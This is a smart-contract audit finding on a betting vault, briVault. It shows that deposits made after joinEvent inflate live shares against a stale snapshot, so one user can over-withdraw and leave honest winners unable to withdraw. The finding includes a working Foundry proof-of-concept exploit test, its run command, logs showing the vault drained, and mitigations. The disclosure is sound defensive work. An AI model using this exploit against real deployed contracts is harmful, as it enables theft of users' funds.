Root + Impact

Description

• In the vault, users deposit assets to receive shares, then call briVault::joinEvent to snapshot their current share balance (balanceOf(msg.sender)) into userSharesToCountry[msg.sender][countryId]. This snapshotted value contributes to totalWinnerShares for proportional payouts after the winner is set.

• However, nothing prevents users from making additional deposits after joining but before the event starts. Each deposit mints new shares proportionally, increasing the user's live balanceOf without updating the snapshot. During withdraw, the contract uses the inflated live shares for the withdrawal calculation numerator, while totalWinnerShares (denominator) remains based on the old, smaller snapshots.

• This mismatch allows a user to:

  1. Deposit minimally, join to snapshot a tiny share amount.

  2. Deposit a large amount post-join to inflate their live shares.

  3. Withdraw an oversized portion of the vault post-event, over-allocating assets and causing reverts (e.g., insufficient balance) for honest later withdrawers.

• Code Highlights:

  // In deposit (line ~231)

  @> _mint(msg.sender, participantShares);

  ​

  // In joinEvent (lines ~260-261)

  uint256 participantShares = balanceOf(msg.sender);

  @> userSharesToCountry[msg.sender][countryId] = participantShares;

  ​

  // In withdraw (lines ~305-308)

  uint256 shares = balanceOf(msg.sender); // Uses inflated live balance

  @> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares); // Understated denominator leads to over-withdrawal

  ​
  
  

• This breaks fair distribution, as the exploiter's effective weight is amplified post-snapshot, diluting others.

Risk

Likelihood: High

• Deposits are unrestricted pre-event start; multiple calls per user are allowed.

• Economically incentivised: minimal initial risk for large gains.

• No checks in deposit for prior joins or snapshot updates.

Impact: High

• Exploiters steal funds via inflated claims.

• Honest winners face DoS (reverts on withdraw), leading to partial or full fund freezes.

• Violates protocol intent of proportional sharing based on bet deposits; could lead to total vault depletion before all winners claim.

Proof of Concept

• Exploit Steps:

  1. User1 (exploiter) deposits minimally (> minimumAmount + fee), joins with countryId 10 (small snapshot).

  2. User1 deposits a large amount post-join (inflates live shares).

  3. User2 and User3 deposit normally, join with countryId 10.

  4. Event starts/ends; the owner sets the winner (10).

  5. User1 and User2 withdraw oversized amounts; User3 reverts due to depleted vault.

• Add this test_PostJoinDeposit_InflatesPayouts to briVault.t.sol:

  function test_PostJoinDeposit_InflatesPayouts() public {

  // Setup

  vm.prank(owner);

  briVault.setCountry(countries);

  ​

  // User1 (exploiter) minimal deposit + join

  vm.startPrank(user1);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(0.00025 ether, user1); // Minimal, e.g., above 0.0002 min

  briVault.joinEvent(10); // Small snapshot

  vm.stopPrank();

  console.log(

  "User1 snapshot shares (userSharesToCountry):",

  briVault.userSharesToCountry(user1, 10)

  );

  console.log("User1 live shares after join:", briVault.balanceOf(user1));

  ​

  // User1 bulk deposit post-join

  vm.prank(user1);

  briVault.deposit(5 ether, user1); // Inflates live shares

  console.log(

  "User1 live shares after bulk deposit:",

  briVault.balanceOf(user1)

  );

  ​

  // User2 deposits + joins

  vm.startPrank(user2);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(5 ether, user2);

  briVault.joinEvent(10);

  vm.stopPrank();

  console.log("User2 shares:", briVault.balanceOf(user2));

  ​

  // User3 deposits + joins

  vm.startPrank(user3);

  mockToken.approve(address(briVault), type(uint256).max);

  briVault.deposit(5 ether, user3);

  briVault.joinEvent(10);

  vm.stopPrank();

  console.log("User3 shares:", briVault.balanceOf(user3));

  ​

  // Event starts

  vm.warp(eventStartDate + 1);

  ​

  // Event ends, set winner

  vm.warp(eventEndDate + 1);

  vm.prank(owner);

  briVault.setWinner(10);

  console.log(

  "Total Winner Shares (snapshots):",

  briVault.totalWinnerShares()

  );

  console.log("Finalized Vault Assets:", briVault.finalizedVaultAsset());

  ​

  // Record pre-withdraw balances

  uint256 beforeUser1 = mockToken.balanceOf(user1);

  uint256 beforeUser2 = mockToken.balanceOf(user2);

  uint256 beforeUser3 = mockToken.balanceOf(user3);

  ​

  // Withdrawals

  vm.prank(user1);

  briVault.withdraw(); // Oversized

  ​

  vm.prank(user2);

  briVault.withdraw(); // Oversized

  ​

  vm.prank(user3);

  vm.expectRevert(); // DoS for User3

  briVault.withdraw();

  ​

  // Gains

  uint256 gainUser1 = mockToken.balanceOf(user1) - beforeUser1;

  uint256 gainUser2 = mockToken.balanceOf(user2) - beforeUser2;

  uint256 gainUser3 = mockToken.balanceOf(user3) - beforeUser3;

  console.log("User1 gain (inflated):", gainUser1);

  console.log("User2 gain (inflated):", gainUser2);

  console.log("User3 gain (DoS):", gainUser3);

  console.log("Vault leftover:", mockToken.balanceOf(address(briVault)));

  }
  
  

• Run the test using the following command:

  forge test --mt test_PostJoinDeposit_InflatesPayouts -vv
  
  

• Logs:

  Ran 1 test for test/briVault.t.sol:BriVaultTest

  [PASS] test_PostJoinDeposit_InflatesPayouts() (gas: 2133365)

  Logs:

  User1 snapshot shares (userSharesToCountry): 246250000000000

  User1 live shares after join: 246250000000000

  User1 live shares after bulk deposit: 4925246250000000000

  User2 shares: 4925000000000000000

  User3 shares: 4925000000000000000

  Total Winner Shares (snapshots): 9850246250000000000

  Finalized Vault Assets: 14775246250000000000

  User1 gain (inflated): 7387807810960975975

  User2 gain (inflated): 7387438439039024024

  User3 gain (DoS): 0

  Vault leftover: 1

  ​

  Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.95ms (1.08ms CPU time)

Recommended Mitigation

• Prevent post-join deposits: Add the following check in deposit

  function deposit(...) public override returns (uint256) {

  // ...

  ​

  + if (bytes(userToCountry[msg.sender]).length > 0) revert AlreadyJoined();

  }
  
  

• Or update snapshot on each deposit: But this could allow team switches; better to lock after join.

• Use snapshotted shares in withdraw (e.g., shares = userSharesToCountry[msg.sender][winnerCountryId];)

• Combine deposit and joinEvent into a single function to enforce atomicity.